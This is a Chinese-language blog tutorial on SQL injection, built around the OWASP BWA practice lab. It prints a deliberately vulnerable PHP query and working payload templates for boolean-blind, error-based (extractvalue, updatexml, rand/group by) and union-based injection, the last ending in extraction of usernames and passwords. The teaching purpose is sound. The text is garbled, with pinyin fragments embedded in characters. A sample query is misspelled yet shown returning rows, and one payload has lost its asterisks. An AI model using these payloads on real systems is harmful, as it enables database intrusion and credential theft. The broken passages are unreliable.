SQL注入是比較常見(jiàn)的網(wǎng)絡(luò)攻擊方式之一，它不是利用操作系統(tǒng)的BUG來(lái)實(shí)現(xiàn)攻擊，而是針對(duì)程序員編程時(shí)的疏忽，通過(guò)SQL語(yǔ)句，實(shí)現(xiàn)無(wú)帳號(hào)登錄，甚至篡改數(shù)據(jù)庫(kù)。下面這篇文中就SQL注入進(jìn)行一個(gè)深入的介紹，感興趣的朋友們一起來(lái)看看吧。

SQL注入攻擊的總體思路

     1.尋找到SQL注入的位置

     2.判斷服務(wù)器類型和后臺(tái)數(shù)據(jù)庫(kù)類型

     3.針對(duì)不通的服務(wù)器和數(shù)據(jù)庫(kù)特點(diǎn)進(jìn)行SQL注入攻擊

關(guān)于 SQL Injection（SQL注入）

SQL Injection 就是通過(guò)把惡意的 SQL 命令插入到 Web 表單讓服務(wù)器執(zhí)行，最終達(dá)到欺騙服務(wù)器或數(shù)據(jù)庫(kù)執(zhí)行惡意的 SQL 命令。

學(xué)習(xí) SQL 注入，首先要搭一個(gè)靶機(jī)環(huán)境，我使用的是OWASP BWA，感興趣的可以去官網(wǎng)下載一個(gè)安裝，除了 SQL 注入，很多靶機(jī)環(huán)境都可以在 BWA 中找到，它專門為 OWASP ZAP 滲透工具設(shè)計(jì)的。

$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);

這是一個(gè)很簡(jiǎn)單的 PHP代碼，從前臺(tái)獲得 id 的值，交給數(shù)據(jù)庫(kù)來(lái)執(zhí)行，把結(jié)果返回給前臺(tái)。

比如我們?cè)?OWASP 里輸入 id = 1，點(diǎn)擊 Submit，返回結(jié)果如下：

稍微懂一點(diǎn)后臺(tái)或者數(shù)據(jù)庫(kù)的人都知道，上面的那段代碼是有嚴(yán)重問(wèn)題的，沒(méi)有對(duì) id 的值進(jìn)行有效性、合法性判斷。也就是說(shuō)，我們?cè)?submit 輸入框輸入的如何內(nèi)容都會(huì)被提交給數(shù)據(jù)庫(kù)執(zhí)行，比如在輸入框輸入1' or '1'='1，執(zhí)行就會(huì)變成：

//原先要在數(shù)據(jù)庫(kù)中執(zhí)行的命令
SELECT first_name, last_name FROM users WHERE user_id = '1'
//變成
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

注意一下單引號(hào)，這是 SQL 注入中非常重要的一個(gè)地方，所以注入代碼的最后要補(bǔ)充一個(gè) '1'='1讓單引號(hào)閉合。

由于 or 的執(zhí)行，會(huì)把數(shù)據(jù)庫(kù)表 users 中的所有內(nèi)容顯示出來(lái)，

下面對(duì)三種主要的注入類型進(jìn)行介紹。

Boolean-based 原理分析

首先不得不講SQL中的AND和OR

AND 和 OR 可在 WHERE 子語(yǔ)句中把兩個(gè)或多個(gè)條件結(jié)合起來(lái)。

AND:返回第一個(gè)條件和第二個(gè)條件都成立的記錄。

OR:返回滿足第一個(gè)條件或第二個(gè)條件的記錄。

AND和OR即為集合論中的交集和并集。

下面是一個(gè)數(shù)據(jù)庫(kù)的查詢內(nèi)容。

mysql> select * from students;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

1)

mysql> select * from students where TRUE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

2)

mysql> select * from students where FALSE ;
Empty set (0.00 sec)

3)

mysql> SELECT * from students where id = 10056 and TRUE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
+-------+-------+-----+
1 row in set (0.00 sec)

4)

mysql> select * from students where id = 10056 and FALSE ;
Empty set (0.00 sec)

5)

mysql> selcet * from students where id = 10056 or TRUE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

6)

mysql> select * from students where id = 10056 or FALSE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
+-------+-------+-----+
1 row in set (0.00 sec)

會(huì)發(fā)現(xiàn)and 1=1 , and 1=2 即是 and TRUE , and FALSE 的變種。

這便是最基礎(chǔ)的boolean注入,以此為基礎(chǔ)你可以自由組合語(yǔ)句。

字典爆破流

and exists(select * from ?) //?為猜測(cè)的表名
and exists(select ? from x) //?為猜測(cè)的列名

截取二分流

and (length((select schema_name from information_schema.schemata limit 1))>?) //判斷數(shù)據(jù)庫(kù)名的長(zhǎng)度
and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')
and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?') //利用二分法判斷第一個(gè)字符

Boolean-based總結(jié)

根據(jù)前面的介紹，我們知道，對(duì)于基于Boolean-based的注入，必須要有一個(gè)可以正常訪問(wèn)的地址，比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一個(gè)可以正常訪問(wèn)的記錄，說(shuō)明id=1的記錄是存在的，下面的都是基于這個(gè)進(jìn)一步猜測(cè)。先來(lái)判斷一個(gè)關(guān)鍵字keyword的長(zhǎng)度，在后面構(gòu)造id=1 and (select length(keyword) from table)=1，從服務(wù)器我們會(huì)得到一個(gè)返回值，如果和先前的返回值不一樣，說(shuō)明and后面的(select length(keyword) from table)=1返回false，keyword的長(zhǎng)度不等于1。繼續(xù)構(gòu)造直到id=1 and (select length(keyword) from table)=15返回true，說(shuō)明keyword的長(zhǎng)度為15。

為什么我們剛開(kāi)始一定要找一個(gè)已經(jīng)存在的id，其實(shí)這主要是為了構(gòu)造一個(gè)為真的情況。Boolean-based就是利用查詢結(jié)果為真和為假時(shí)的不同響應(yīng)，通過(guò)不斷猜測(cè)來(lái)找到自己想要的東西。

對(duì)于keyword的值，mysql數(shù)據(jù)庫(kù)可以使用substr(string, start, length)函數(shù)，截取string從第start位開(kāi)始的length個(gè)字符串id=1 and (select substr(keyword,1,1) from table) ='A'，依此類推，就可以獲得keyword的在數(shù)據(jù)庫(kù)中的值。

Boolean-based的效率很低，需要多個(gè)請(qǐng)求才能確定一個(gè)值，盡管這種代價(jià)可以通過(guò)腳本來(lái)完成，在有選擇的情況下，我們會(huì)優(yōu)先選擇其他方式。

Error Based 原理分析

關(guān)于錯(cuò)誤回顯

基于錯(cuò)誤回顯的sql注入就是通過(guò)sql語(yǔ)句的矛盾性來(lái)使數(shù)據(jù)被回顯到頁(yè)面上。

所用到的函數(shù)

count() 統(tǒng)計(jì)元祖的個(gè)數(shù)（相當(dāng)于求和）

如select count(*) from information_schema.tables; 

rand()用于產(chǎn)生一個(gè)0~1的隨機(jī)數(shù) 

floor()向下取整 

group by 依據(jù)我們想要的規(guī)矩對(duì)結(jié)果進(jìn)行分組 

concat將符合條件的同一列中的不同行數(shù)據(jù)拼接，以逗號(hào)隔開(kāi)

用于錯(cuò)誤回顯的sql語(yǔ)句

第一種： 基于 rand() 與 group by 的錯(cuò)誤

利用group by part of rand() returns duplicate key error這個(gè)bug，關(guān)于rand()函數(shù)與group by 在mysql中的錯(cuò)誤報(bào)告如下：

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

這個(gè)bug會(huì)爆出duplicate key這個(gè)錯(cuò)誤，然后順便就把數(shù)據(jù)偷到了。

公式：username=admin' and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想獲取的數(shù)據(jù)的sql語(yǔ)句))x from information_schema.tables group by x )a) and ‘1' = ‘1

第二種： XPATH爆信息

這里主要用到的是ExtractValue()和UpdateXML()這2個(gè)函數(shù)，由于mysql 5.1以后提供了內(nèi)置的XML文件解析和函數(shù)，所以這種注入只能用于5.1版本以后使用

查看sql手冊(cè)

語(yǔ)法：EXTRACTVALUE (XML_document, XPath_string);

第一個(gè)參數(shù)：XML_document是String格式，為XML文檔對(duì)象的名稱，文中為Doc

第二個(gè)參數(shù)：XPath_string (Xpath格式的字符串) ，如果不了解Xpath語(yǔ)法，可以在網(wǎng)上查找教程。

作用：從目標(biāo)XML中返回包含所查詢值的字符串

語(yǔ)法:UPDATEXML (XML_document, XPath_string, new_value);


第一個(gè)參數(shù)：XML_document是String格式，為XML文檔對(duì)象的名稱，文中為Doc

第二個(gè)參數(shù)：XPath_string (Xpath格式的字符串) ，如果不了解Xpath語(yǔ)法，可以在網(wǎng)上查找教程。

第三個(gè)參數(shù)：new_value，String格式，替換查找到的符合條件的數(shù)據(jù)

作用：改變文檔中符合條件的節(jié)點(diǎn)的值

現(xiàn)在就很清楚了，我們只需要不滿足XPath_string(Xpath格式)就可以了，但是由于這個(gè)方法只能爆出32位，所以可以結(jié)合mid來(lái)使用

公式1：username=admin' and (extractvalue(1, concat(0x7e,(你想獲取的數(shù)據(jù)的sql語(yǔ)句)))) and ‘1'='1


公式2：username=admin' and (updatexml(1, concat(0x7e,(你想獲取的數(shù)據(jù)的sql語(yǔ)句)),1)) and ‘1'='1

基于錯(cuò)誤回顯的注入，總結(jié)起來(lái)就一句話，通過(guò)sql語(yǔ)句的矛盾性來(lái)使數(shù)據(jù)被回顯到頁(yè)面上，但有時(shí)候局限于回顯只能回顯一條，導(dǎo)致基于錯(cuò)誤的注入偷數(shù)據(jù)的效率并沒(méi)有那么高，但相對(duì)于布爾注入已經(jīng)提高了一個(gè)檔次。

union query injection

要了解union query injection，首先得了解union查詢，union用于合并兩個(gè)或更多個(gè)select的結(jié)果集。比如說(shuō)

SELECT username, password FROM account;

結(jié)果是

admin 123456

SELECT id, title FROM article

的結(jié)果是

1 Hello, World

SELECT username, password FROM account
UNION 
SELECT id, title FROM article

的結(jié)果就是

admin 123456

1 Hello, World

比起多重嵌套的boolean注入，union注入相對(duì)輕松。因?yàn)椋瑄nion注入可以直接返回信息而不是布爾值。前面的介紹看出把union會(huì)把結(jié)果拼拼到一起，所有要讓union前面的查詢返回一個(gè)空值，一般采用類似于id=-1的方式。

1)

mysql> select name from students where id = -1 union select schema_name from information_schema.schemata; //數(shù)據(jù)庫(kù)名 
+--------------------+
| name  |
+--------------------+
| information_schema |
| mysql  |
| performance_schema |
| rumRaisin  |
| t3st  |
| test  |
+--------------------+
6 rows in set (0.00 sec)

2)

mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st'; //表名
+----------+
| name |
+----------+
| master |
| students |
+----------+
2 rows in set (0.00 sec)

3)

mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ; //列名
+------+
| name |
+------+
| id |
| name |
| age |
+------+
3 rows in set (0.00 sec)

UNION 操作符用于合并兩個(gè)或多個(gè) SELECT 語(yǔ)句的結(jié)果集。請(qǐng)注意，UNION 內(nèi)部的 SELECT 語(yǔ)句必須擁有相同數(shù)量的列。列也必須擁有相似的數(shù)據(jù)類型。同時(shí)，每條 SELECT 語(yǔ)句中的列的順序必須相同。

舉個(gè)例子，還以最開(kāi)始的 OWASP 為基礎(chǔ)，返回了兩個(gè)值分別是 first_name 和 sur_name，可想而知，服務(wù)器在返回?cái)?shù)據(jù)庫(kù)的查詢結(jié)果時(shí)，就會(huì)把結(jié)果中的第一個(gè)值和第二個(gè)值傳給 first_name 和 sur_name，多了或少了，都會(huì)引起報(bào)錯(cuò)。

所以你如果想要使用union查詢來(lái)進(jìn)行注入，你首先要猜測(cè)后端查詢語(yǔ)句中查詢了多少列，哪些列可以回顯給用戶。

猜測(cè)列數(shù)

-1 union select 1
-1 union select 1,2
-1 union select 1,2,3
//直到頁(yè)面正常顯示

比如這條語(yǔ)句

-1 UNION SELECT 1,2,3,4

如果顯示的值為3和4，表示該查詢結(jié)果中有四列，并且第三列和第四列是有用的。則相應(yīng)的構(gòu)造union語(yǔ)句如下

-1 UNION SELECT 1,2,username,password FROM table

小結(jié)一下

SQL 注入大概有5種，還有兩種分別是 Stacked_queries(基于堆棧)和 Time-based blind(時(shí)間延遲)，堆棧就是多語(yǔ)句查詢，用 ‘;' 把語(yǔ)句隔開(kāi)，和 union 一樣；時(shí)間延遲就是利用 sleep() 函數(shù)讓數(shù)據(jù)庫(kù)延遲執(zhí)行，偷數(shù)據(jù)的速度很慢。(還有一個(gè)第六種，內(nèi)聯(lián)注入，但和前面涉及的內(nèi)容有所重疊，就不單獨(dú)來(lái)討論了)

引用說(shuō)明，自己之前研究 SQL 注入的時(shí)候，也是一點(diǎn)一點(diǎn)摸索的，本博客的大部分內(nèi)容是來(lái)自于公司內(nèi)網(wǎng)的服務(wù)器中(公司定期考核，看你都干了什么)。當(dāng)時(shí)因?yàn)槭莾?nèi)網(wǎng)，就沒(méi)有做引用，現(xiàn)在想找到這些引用的文章也很困難，見(jiàn)諒。

好了，以上就是這篇文章的全部?jī)?nèi)容了，希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作能帶來(lái)一定的幫助，如果有疑問(wèn)大家可以留言交流。